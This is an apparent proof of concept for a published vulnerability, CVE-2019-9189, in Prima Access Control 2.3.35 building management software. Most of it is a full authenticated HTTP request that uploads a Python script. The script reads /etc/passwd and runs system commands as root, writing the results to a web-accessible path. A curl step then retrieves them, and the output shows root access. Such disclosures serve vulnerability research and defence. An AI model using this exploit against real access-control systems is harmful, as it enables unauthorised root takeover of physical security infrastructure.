Prima Access Control 2.3.35 Script Upload Remote Code Execution

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Prima Access Control 2.3.35 Authenticated Python Script Upload Root RCE  
  
CVE: CVE-2019-9189  
Advisory: https://applied-risk.com/resources/ar-2019-007  
Paper: https://applied-risk.com/resources/i-own-your-building-management-system  
  
Discovered by Gjoko 'LiquidWorm' Krstic  
  
---  
  
POST /bin/sysfcgi.fx HTTP/1.1  
Host: 192.168.13.37  
Connection: keep-alive  
Content-Length: 572  
Origin: https://192.168.13.37  
Session-ID: 5682699  
User-Agent: Mozi-Mozi/44.0  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
Accept: text/html, */*; q=0.01  
Session-Pc: 2  
X-Requested-With: XMLHttpRequest  
Referer: https://192.168.13.37/app/  
Accept-Encoding: gzip, deflate, br  
Accept-Language: en-US,en;q=0.9  
Cookie: G_ENABLED_IDPS=google  
  
<requests><request name="PythonScriptUpload"><param name="DestinationHwID" value="1"/><param name="FileName" value="test_python.py"/><param name="Content" value="#!/usr/bin/python&#xA;#&#xA;# test script&#xA;#&#xA;&#xA;import sys,os&#xA;&#xA;with open("/etc/passwd") as f:&#xA; with open("/www/pages/app/images/logos/testingus2.txt", "w") as f1:&#xA; for line in f:&#xA; f1.write(line)&#xA;&#xA;&#xA;os.system("id;uname -a >> /www/pages/app/images/logos/testingus2.txt")"/></request></requests>  
  
Result:  
  
$ curl https://192.168.13.37/app/images/logos/testingus2.txt  
root:x:0:0:root:/home/root:/bin/sh  
daemon:x:1:1:daemon:/usr/sbin:/bin/false  
bin:x:2:2:bin:/bin:/bin/false  
sys:x:3:3:sys:/dev:/bin/false  
sync:x:4:100:sync:/bin:/bin/sync  
mail:x:8:8:mail:/var/spool/mail:/bin/false  
www-data:x:33:33:www-data:/var/www:/bin/false  
operator:x:37:37:Operator:/var:/bin/false  
nobody:x:99:99:nobody:/home:/bin/false  
python:x:1000:1000:python:/home/python:/bin/false  
admin:x:1001:1001:Linux User,,,:/home/admin:/bin/sh  
uid=0(root) gid=0(root) groups=0(root),10(wheel)  
Linux DemoMaster214 4.4.16 #1 Mon Aug 29 13:29:40 CEST 2016 armv7l GNU/Linux  
  
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